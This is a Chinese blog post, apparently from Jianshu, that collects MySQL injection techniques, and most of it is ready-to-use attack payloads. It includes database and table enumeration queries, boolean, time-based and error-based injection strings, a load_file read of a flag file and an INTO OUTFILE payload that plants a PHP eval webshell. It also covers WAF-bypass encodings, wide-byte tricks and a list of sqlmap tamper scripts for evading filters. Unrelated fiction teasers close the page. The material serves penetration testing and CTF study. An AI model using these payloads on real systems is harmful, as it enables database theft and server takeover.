MySql注入总结

本文总结了MySql注入的一些基础知识以及绕过过滤的一些方法,并且将在后续继续完善该文章,后面会添加一些具体实例的文章,希望能够帮到大家。

0x00 基础知识:

手工注入一般思路:
1.爬取所有有参数输入的URL,表单,搜索框
2.对于多参数的需要先确定哪个参数好注入
3.如有WAF,先测出哪些没有被ban,可以将关键字导入burp跑,根据返回长度及内容进行判断
4.结合各种注入技巧,选择比较容易获取数据的方式进行注入
5.除了GET、POST方式,还有COOKIE可以进行注入,cookie的过滤偶尔会被漏掉
测WAF的关键字列表
extractvalue
updatexml
order
by
union
select
from
where
limit
sleep
benchmark
left
mid
substr
substring
concat
concat_ws
group_concat
or
and
%20
||
&&
(
)
-
+
%23
;
,
=
<
>
/
*
%
常用查询语句:
查库:
select group_concat(schema_name) from information_schema.schemata
select schema_name from information_schema.schemata limit 0,1
select database()
查表:
select group_concat(table_name) from information_schema.tables where table_schema=database()
select group_concat(table_name) from information_schema.tables where table_schema='数据库'
select table_name from information_schema.tables where table_schema='数据库' limit 0,1
查字段:
select group_concat(column_name) from information_schema.columns where table_name='表名'
select column_name from information_schema.columns where table_name='表名' limit 0,1
查内容:
select group_concat(字段1,字段2) from 表名
select 字段 from 表名 limit 0,1
连接符号:
concat(str1,str2,...)——没有分隔符地连接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
字符截取函数:
left(str,n)获取字符串str左部指定n个字符  如:left(database(),2)>'se'    
mid(str,m,n)获取字符串str第m位起指定n个字符  如:ord(mid(database(),2,1))>101
substr(str,m,n)获取字符串str第m位起指定n个字符  如:ascii(substr(database(),2,1))>101
substring(str,m,n)获取字符串str第m位起指定n个字符  如:ascii(substring(database(),2,1))>101
时间函数:
sleep()  如:If(ascii(substr(database(),1,1))=115,1,sleep(5))
benchmark()  如:IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)

PS:if(str,m,n)函数中,str为真的话执行前面m语句,为假执行后面n语句
读文件:
select load_file('/var/www/html/flag.php')
写文件:
select '<?php eval($_POST['nac']); ?>' into outfile '/var/www/nac.php'
常用函数:
system_user()  系统用户名
user()  用户名
current_user  当前用户名
session_user()  连接数据库的用户名
version()  MySQL版本 
database()  数据库名 
load_file() MYSQ L  读取本地文件的函数
@@datadir  数据库路径 
@@basedir MYSQL  安装路径
@@version_compile_os  操作系统版本
常用测试语句(GET、POST):
数字型;
and 1=1  正常  /  and 1=2  不正常  ->  有问题
and 1<2  正常  /  and 1>2  不正常  ->  有问题
-1  不正常  /  -0  正常  ->  有问题
^1  不正常  /  ^0  正常  ->  有问题
*2  不正常  ->  有问题

字符型:
\  不正常  /  \\  正常  ->  有问题
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
'='
'^'1'='1
%df' or 1=1--+

PS: --可以用#替换,GET方式url提交过程中url中的#需使用编码后的#,即为%23
常用测试语句(搜索框):
1.搜索keywords',如果出错的话,有90%的可能性存在漏洞;
2.搜索keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
3.搜索keywords%'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)
4.搜索keywords%'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)
5.根据两次的返回情况来判断是不是搜索型文本框注入了

0x01 注入分类

基本分类:
联合查询的类型
基于错误的SQL注入
基于布尔SQL盲注
基于时间的SQL盲注
基于报错的SQL盲注
堆查询注射
二次注入
cookie注入
referer注入
宽字节注入
order by 注入
......(分类见仁见智)
利用exists进行暴力猜解
将表名字典加载到burp跑表(Payload1),当想要猜测的表名不是当前数据库的,如猜测mysql库的表名(Payload2)
Payload1:and exists(select * from 表名)
Payload2:and exists(select * from mysql.表名)

将字段名字典加载到burp跑字段,这里假设得到的表名为users
Payload:and exists(select * from users)
报错注入:
extractvalue(1,concat(0x7e,(select @@version),0x7e))
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a
select 1,2,count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
exp(~(select * from(select user())a))
multipoint((select * from(select * from(select user())a)b))
宽字节注入:
前提:gbk等多字节编码,addslashes等转义函数
绕过:%81-%fe中的任何字符都可以吃掉反斜杠,常用%df,%bf

参考:http://www.91ri.org/8611.html
DNS注入:
没有显示返回信息的延时盲注或者布尔盲注可以考虑一下。
推荐一个免费的平台:http://ceye.io(也可用于无回显的命令执行)

参考:https://phpinfo.me/2016/05/10/1210.html
limit注入:
参考:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
order by注入:
参考:https://www.secpulse.com/archives/57197.html

0x02 绕过技巧:

注释符:
#, 
-- X(X为任意字符)
/*(MySQL-5.1)
;%00
`
'or 1=1;%00
'or 1=1 union select 1,2`'
'or 1=1 #
'/*!50000or*/ 1=1 -- -      //版本号为5.1.38时只要小于50138
'/*!or*/ 1=1 -- -
运算符:
1+1  -->  1--1
ascii(substr(database(),0,1))>64  -->  greatest(ascii(substr(database(),0,1)),64)=64
=      -->  <>、like、rlike、regexp
<>  -->  between and、least、=
not --> !
xor --> |
or --> ||
and --> &&
空格被过滤:
%09、%0a、%0b、%0c、%0d、%a0、%00、%20、+、/**/、/*!*/、/*!5000*/、()、{}
绕过引号被过滤
hex编码:  SELECT password FROM Users WHERE username = 0x61646D696E
char编码:  SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
html实体字符编码:  SELECT FROM Users WHERE username = &#39;admin&#39;
%2527:  绕过magic_quotes_gpc过滤,结合后面的27也就是%27也就是'
绕过逗号被过滤
mid,substr:mid(string,1,1)--> mid(string from 1 for 1) --> substr(string from 1)
limit 0,1  -->  limit 1 offset 0
union select 1,2  -->  union select * from (select 1)a join (select 2)b
select ascii(mid(user(),1,1))=80  -->  select user() like 'r%'
单次过滤:
双写关键字绕过,如seselectlect
大小写:
如UniOn、SelEct
MySql字符编码利用技巧:
php mysqli客户端设置的字符集为utf8,Mysql的字符集默认是latin1。
传入不完整的字节会被忽略掉,如传入\xC2~\xEF中一个字符
参考:https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html
其他绕过:
md5($array)=null 结果为true
null = null 结果为真(双等号前面作等于的结果为null,再跟null作等于的结果为真)

0x03 sqlmap注入工具的使用

sqlmap注入神器的tamper用法:
apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

参考:https://paper.seebug.org/218/

0x04 LINK:

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 202,723评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,080评论 2 379
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 149,604评论 0 335
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,440评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,431评论 5 364
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,499评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,893评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,541评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,751评论 1 296
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,547评论 2 319
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,619评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,320评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,890评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,896评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,137评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,796评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,335评论 2 342

推荐阅读更多精彩内容

  • SQL注入 概念 危害 原理 实例 防御 基础 - ### SQL语句所用符号不同数据库的sql注入与提权常见S...
    yddchsc君阅读 1,305评论 1 10
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,237评论 2 22
  • 有那些事是必须纯手工打造的 1.中餐,炒菜离不开纯手工。 2.书法,字无百日功,就考一双手 3.刺绣,电脑做还有点...
    浅浅君子阅读 314评论 0 0